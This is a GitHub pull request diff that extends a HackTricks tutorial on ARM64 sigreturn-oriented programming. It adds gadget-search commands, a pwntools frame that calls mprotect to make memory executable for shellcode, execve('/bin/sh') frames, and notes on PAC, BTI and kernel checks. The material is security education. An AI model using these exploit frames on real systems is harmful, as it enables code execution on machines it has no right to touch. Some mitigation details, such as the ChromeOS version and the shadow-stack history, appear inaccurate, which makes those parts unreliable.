Skip to content

Research Update Enhanced src/binary-exploitation/rop-return-... #1256

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# SROP - ARM64
# {{#include ../../../banners/hacktricks-training.md}}

{{#include ../../../banners/hacktricks-training.md}}

Expand Down Expand Up @@ -94,7 +94,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
Expand Down Expand Up @@ -160,7 +160,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
Expand Down Expand Up @@ -189,7 +189,57 @@ And to bypass the address of `/bin/sh` you could create several env variables po
../../common-binary-protections-and-bypasses/aslr/
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
---

## Finding `sigreturn` gadgets automatically (2023-2025)

On modern distributions the `sigreturn` trampoline is still exported by the **vDSO** page but the exact offset may vary across kernel versions and build flags such as BTI (`+branch-protection`) or PAC. Automating its discovery prevents hard-coding offsets:

```bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```

Both tools understand **AArch64** encodings and will list candidate `mov x8, 0x8b ; svc #0` sequences that can be used as the *SROP gadget*.

> Note: When binaries are compiled with **BTI** the first instruction of every valid indirect branch target is `bti c`. `sigreturn` trampolines placed by the linker already include the correct BTI landing pad so the gadget remains usable from unprivileged code.

## Chaining SROP with ROP (pivot via `mprotect`)

`rt_sigreturn` lets us control *all* general-purpose registers and `pstate`. A common pattern on x86 is: 1) use SROP to call `mprotect`, 2) pivot to a new executable stack containing shell-code. The exact same idea works on ARM64:

```python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
```

After sending the frame you can send a second stage containing raw shell-code at `0x400000+0x100`. Because **AArch64** uses *PC-relative* addressing this is often more convenient than building large ROP chains.

## Kernel validation, PAC & Shadow-Stacks

Linux 5.16 introduced stricter validation of userspace signal frames (commit `36f5a6c73096`). The kernel now checks:

* `uc_flags` must contain `UC_FP_XSTATE` when `extra_context` is present.
* The reserved word in `struct rt_sigframe` must be zero.
* Every pointer in the *extra_context* record is aligned and points inside the user address space.

`pwntools>=4.10` crafts compliant frames automatically, but if you build them manually make sure to zero‐initialize *reserved* and omit the SVE record unless you really need it—otherwise `rt_sigreturn` will deliver `SIGSEGV` instead of returning.

Starting with mainstream Android 14 and Fedora 38, userland is compiled with **PAC** (*Pointer Authentication*) and **BTI** enabled by default (`-mbranch-protection=standard`). *SROP* itself is unaffected because the kernel overwrites `PC` directly from the crafted frame, bypassing the authenticated LR saved on the stack; however, any **subsequent ROP chain** that performs indirect branches must jump to BTI-enabled instructions or PACed addresses. Keep that in mind when choosing gadgets.

Shadow-Call-Stacks introduced in ARMv8.9 (and already enabled on ChromeOS 1.27+) are a compiler-level mitigation and *do not* interfere with SROP because no return instructions are executed—the flow of control is transferred by the kernel.

## References

* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html)
* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)

{{#include ../../../banners/hacktricks-training.md}}
1 change: 0 additions & 1 deletion src/welcome/hacktricks-values-and-faq.md
Original file line number Diff line number Diff line change
Expand Up @@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the

{{#include ../banners/hacktricks-training.md}}